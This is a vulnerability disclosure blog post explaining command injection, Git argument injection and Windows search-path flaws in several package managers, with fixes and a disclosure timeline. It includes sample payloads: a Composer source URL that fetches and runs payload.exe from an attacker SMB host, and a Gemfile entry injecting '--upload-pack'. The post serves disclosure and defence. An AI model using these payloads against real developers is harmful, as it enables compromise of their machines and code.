Securing Developer Tools: Package Managers

by paul gerste|

Securing Developer Tools: Package Managers

Developers are an attractive target for cybercriminals because they have access to the core intellectual property assets of a company: source code. Compromising them allows attackers to conduct espionage or to embed malicious code into a company's products. This could even be used to pull off supply chain attacks.

An integral part of modern software development and almost every programming language ecosystem are package managers. They help with managing and downloading 3rd-party dependencies, so developers have to ensure that these dependencies do not contain malicious code because they would be embedded into the products they build. However, the act of managing dependencies is usually not seen as a potentially risky operation, especially when safety options are enabled.

In an effort to help secure the developer ecosystem, our researchers started to look at developer tools that could be targeted by attackers to compromise developer machines. In this article, we discuss vulnerabilities that we found in some of the most popular package managers. Next week's article will describe vulnerabilities in Git integrations used in terminals and widely-used code editors.

How it can impact you

As a result of our research, we found vulnerabilities in the following popular package managers:

  • Composer 1.x < 1.10.23 and 2.x < 2.1.9 (fixed, CVE-2021-41116, 1 not fixed)
  • Bundler < 2.2.33 (fixed, CVE-2021-43809)
  • Bower < 1.8.13 (fixed, CVE-2021-43796)
  • Poetry < 1.1.9 (fixed, CVEs pending)
  • Yarn < 1.22.13 (fixed, CVE pending)
  • pnpm < 6.15.1 (fixed, CVE pending)
  • Pip (not fixed)
  • Pipenv (not fixed)

The attacks that we describe can happen in two different scenarios. In both of them, the victim is required to handle malicious files or packages with one of the mentioned package managers. This means that an attack cannot be launched directly against a developer machine from remote and requires that the developer is tricked into loading malformed files. But can you always know and trust the owners of all packages that you use from the internet or company-internal repositories?

In the first scenario, an attacker would publish a malicious package and then make the victim use Composer's browse command with that package name. This could for example happen via Social Engineering, Typo Squatting, or Dependency Confusion. We discovered a Command Injection vulnerability in Composer that falls into this scenario. Malicious packages have been used in other kinds of attacks in the past, for example, the popular JavaScript package "ua-parser-js" has been infected with malicious code last year.

The second scenario requires the victim to first download attacker-controlled files and then use one of the vulnerable package managers on these files. This requires the attacker to use social engineering or to sneak malicious files into a codebase that the victim trusts. We discovered Argument Injection and Untrusted Search Path issues that fall into this scenario. In 2021, a similar attack vector has been used to target security researchers. Under the pretext of wanting to collaborate on a project, attackers used fake Twitter accounts to send Visual Studio projects to their victims which would execute malware when opened.

If any of these attacks succeed, the attacker can run any commands on the victim's machine. They could for example steal or modify sensitive data such as source code or access tokens, allowing the attacker to put backdoors or malware into code or to infect other systems that the victim has access to.

Technical Details

In the following sections, we will explain 3 different types of vulnerabilities that we found in several of the most popular package managers; we believe that these types are prevalent among package managers and this research can be applied to any new target. We start with a Command Injection vulnerability that could be used by attackers who publish a malicious package. Then we take a look at Argument Injections and Untrusted Search Path vulnerabilities that could be used to trick victims into executing malicious code.

Command Injection in Composer

Composer, the leading package manager in the PHP ecosystem, is a command-line application that implements several sub-commands, such as status, install, and remove. Another sub-command, browse, can be used by developers as an easy way of opening a package's source and documentation. It requires a package name as its only argument and will then fetch that package's metadata and open the URL that is set as the package's homepage. This is implemented as follows:

src/Composer/Command/HomeCommand.php:

// [...]
$support = $package->getSupport();
$url = isset($support['source']) ? $support['source'] : $package->getSourceUrl();
// [...]

if (!$url || !filter_var($url, FILTER_VALIDATE_URL)) { // ← [1]
    return false;
}

// [...]
$this->openBrowser($url); // ← [2]

The package’s source field is checked to be a valid URL (at [1]) and then opened in a browser (at [2]). The opening mechanism depends on the OS and is implemented just below the previous function:

When the OS is Windows, then the command is start "web" explorer "<url>". The URL gets escaped before being inserted into the command string, but the escape function is already adding double quotes around the value. This leads to a double-wrapping of the URL, resulting in a command like start "web" explorer ""http://example.com/"". This causes the value to not be escaped at all within the command string, making it possible to insert more commands, which is called a Command Injection vulnerability.

To exploit this, an attacker would have to publish a package containing a source URL such as:
http://example.com/&\\attacker.com\Public\payload.exe

This value fulfills the condition of being a valid URL, at least according to PHP's FILTER_VALIDATE_URL, but leads to arbitrary code execution when a victim uses the browse command with the name of a malicious package. Let's say the attacker's package is called bad-pkg and they published it to the Composer registry with the aforementioned source URL. Now if any user runs composer browse bad-pkg, example.com would be opened in their browser but also silently in the background payload.exe would be downloaded from the public SMB share at attacker.com and executed. This provides the attacker with access to the victim's machine and the ability to launch further attacks.

Argument Injections in Bundler and Poetry

The previous vulnerability resulted from the insecure creation of a command string from user inputs, which has proven to be an error-prone approach. A generally safer alternative for this is to use an array of arguments instead of a command string, but things can still go wrong with that, as we will learn in this section.

When a package manager tries to download a package, there are multiple possible sources where it can come from. The usual source is the package manager's native registry. But most package managers also support installing packages from local file paths or from Git repositories. The latter is usually implemented by invoking a series of Git commands such as git clone.

Git is a complex command-line tool with many options, so there is the possibility of Argument Injections. This occurs when one of the arguments is supposed to be a positional one, but an attacker can turn it into an optional one. Command-line applications determine if an argument is positional and non-positional by checking if it starts with a dash (-).

Let's look at Bundler, a package manager in the Ruby ecosystem, as an example. It was vulnerable to this due to the way it invoked Git commands with user-controlled arguments:

def checkout
  # [...]
  configured_uri = configured_uri_for(uri).to_s
  unless path.exist?
    SharedHelpers.filesystem_access(path.dirname) do |p|
      FileUtils.mkdir_p(p)
    end
    git_retry "clone", configured_uri, path.to_s, "--bare", "--no-hardlinks", "--quiet"
    return unless extra_ref
  end
  # [...]
end

The git_retry function essentially runs a Git command with the supplied arguments. To keep this example simpler, we will omit the three optional arguments at the end. Normal execution of the checkout function results in the execution of an OS command like the following:

exec("git", ["clone", "https://myrepo.com", "./destination-dir/"])

Git goes through this list of arguments, sees that none of them starts with a dash, assumes that all of them are positional arguments, and clones the repository at https://myrepo.com into the directory ./destination-dir/.

But the value of uri comes from a Gemfile, so this could have been abused by attackers by creating a Gemfile such as the following:

gem 'poc', git: '--upload-pack=payload.sh'

Therefore, uri is --upload-pack=payload.sh, which will cause git_retry to run this Git command:

exec("git", ["clone", "--upload-pack=payload.sh", "./destination-dir/"])

It will be understood by Git as "clone the repository at the local path ./destination-dir/, but use payload.sh for the upload-pack option". This leads to the execution of payload.sh, or any other command that is specified.

Poetry, a package manager in the Python ecosystem, was also vulnerable to the same kind of attack. Many other package managers implemented similar things but were not found to be exploitable during our research due to small differences.

Untrusted Search Path in Yarn, Pip, Composer, and more

Again, even if the previous vulnerabilities are avoided by using argument lists instead of command strings and making sure that no unwanted arguments can be injected, there is yet another thing that can go wrong. For this class of vulnerabilities, we have to first understand the difference between Windows and other operating systems in the way it resolves command names to the correct executable.

When a command is executed with a relative or absolute path, then there is no need to resolve anything, as the path is already known. However, if the command is only a name, it is the operating system's job to find and run the correct binary file that matches this name. On all major OSes, the possible locations are set in the PATH environment variable. It contains all the paths in which the system will look for an executable matching the name of the command. This behavior is consistent across all major operating systems, but Windows considers one additional location: the current working directory. It will look for the executable there before all other locations and only use the PATH afterward.

For example, if there is a file named notepad.exe in the current directory and the user starts a program that will execute the command notepad %localappdata%\Temp\test.txt, then the local notepad.exe will be executed instead of the regular notepad executable located at C:\Windows\system32\notepad.exe.

This is a Windows quirk that many developers do not know about and it has led to many vulnerabilities in the past. Whenever a program executes a command by name but does not ensure that the PATH and the files in the current directory are safe, it creates an Untrusted Search Path (CWE-426) vulnerability.

As discussed before, many package managers allow referencing packages from Git repositories instead of their native registries. Because checking out Git repositories requires some complex work under the hood, these package managers do not implement that themselves but simply run Git commands that will do the job for them.

Looking at Yarn, a popular package manager in the JavaScript ecosystem, the declaration of a dependency from a Git repository would result in a package.json file like the following:

{
  "dependencies": {
    "example": "git+https://github.com/example/example"
  }
}

When running yarn install, Yarn will download the example package from GitHub via Git. Internally, it will use the command git clone git+https://github.com/example/example for that. Note that Git is called by name and not with a relative or absolute path, so this creates an Untrusted Search Path vulnerability when the command is executed in a directory that contains untrusted files. If there was a git.exe file in the directory then it would be executed instead of the installed Git, leading to the execution of malicious code.

Of course, handling untrusted files is always dangerous, even if users are extra cautious. Usually, Yarn's command-line option --ignore-scripts prevents the execution of third-party code but it does not help to prevent this kind of attack. The dependency coming from the Git repository can also be a completely legitimate one, as it is only important that it is fetched via Git, not what its contents are.

Several popular package managers were affected by this, namely Yarn, pnpm, Bower, Poetry, Composer, pip, and pipenv. Composer's maintainers decided not to fix this because they declare this to be outside of their threat model. Pip and Pipenv also chose not to fix this because according to them there are several other ways that an attacker could gain code execution in the same attack scenario.

Patch

To avoid Command Injection vulnerabilities, we recommend only using command strings if really needed. Try to run commands with argument lists instead. If you do need to use a command string, rely on built-in or trusted third-party escaping functions instead of writing your own one. Ensure that no double-wrapping happens as seen in the case of Composer. In PHP, the correct way of escaping shell arguments in a command string is using the escapeshellarg function:

$process->execute('start "web" explorer ' . escapeshellarg($url), $output);

To avoid Argument Injections, make sure that no arguments start with a dash (-). Do this right before the actual execution of the command and ensure that the argument's value is not further modified between the check and the execution, as this has led to bypasses in the past. Note that some Windows applications use a slash (/) instead of a dash to mark the beginning of an optional argument, so make sure you know how the command you run interprets arguments and adapt any checks accordingly.

An alternative would be to insert -- as a single argument before the user-controlled ones. This acts as a delimiter and tells the program that any following arguments should not be treated as optional ones. Since this is defined in the POSIX standard, make sure that the command is POSIX-compliant because this might not work otherwise. In the case of Bundler, the maintainers used this to fix the vulnerability:

git_retry "clone", "--bare", "--no-hardlinks", "--quiet", "--", configured_uri, path.to_s

To avoid Untrusted Search Path vulnerabilities on Windows, it is easiest to run commands in a safe directory if possible. This is how Rust's package manager Cargo checks out dependencies that come from Git repositories. If the command must be run in the current directory, you should first resolve the path of the matching executable in a safe way and then run the command with that path.

As an example, Yarn fixed their vulnerability by using the where command, which is always located at %WINDIR%\System32\where.exe, to resolve a command. They excluded the current directory by restricting the set of possible locations to the ones defined in the PATH environment variable. This is a way of implementing it:

const { join } = require('path');
const { execFile } = require('child_process');

const WHERE_PATH = join(process.env.WINDIR, 'System32', 'where.exe');

async function resolveExecutableOnWindows(name) {
  return new Promise((resolve, reject) => {
    execFile(WHERE_PATH, [`$PATH:${name}`], (error, stdout, stderr) => {
      if (error) {
        return reject(error);
      }
      const [ firstMatch ] = stdout.split('\r\n');
      resolve(firstMatch);
    });
  });
}

Timeline

DateAction
2021-09-09We report the Argument Injection and Untrusted Search Path issues to Yarn, pnpm, Bower, Composer, Bundler, Poetry, pip, and pipenv
2021-09-10pip and pipenv decide not to fix the Untrusted Search Path issue
2021-09-13Composer decides not to fix the Untrusted Search Path issue
2021-09-16pnpm releases a fix in version 6.15.1
2021-09-20Poetry releases a fix in version 1.1.9
2021-09-21We report the Command Injection vulnerability to Composer
2021-09-30Yarn releases a fix in version 1.22.13
2021-10-05Composer releases a fix for the Command Injection vulnerability in versions 1.10.23 and 2.1.9
2021-11-25Bower releases a fix in version 1.8.13
2021-12-09Bundler releases a fix in version 2.2.33

Summary

In this blog post, we presented 3 types of vulnerabilities in popular package managers. We gave examples of how they could be used by attackers to compromise developer machines, we explained the underlying issues with code examples, and we gave suggestions on how to avoid similar issues.

Remember to update all your tools regularly and stay cautious when handling files from unknown sources. We strongly advise against using package managers on untrusted code bases, even with security features like disabling the execution of scripts. Consider all third-party code and files as dangerous and if you really need to handle them, we recommend doing so in disposable virtual machines.

We would like to thank the maintainers of all the projects we reported issues to. They quickly responded to our advisories and fixed the vulnerabilities or took the time to discuss with us why they don't see something as a vulnerability.

Next week's blog post will be the second part of this two-part series on developer tools. It will cover Git integrations in terminals and code editors, so don't miss it if you want to know how simply cd-ing into a third-party directory could compromise your system!

Related Blog Posts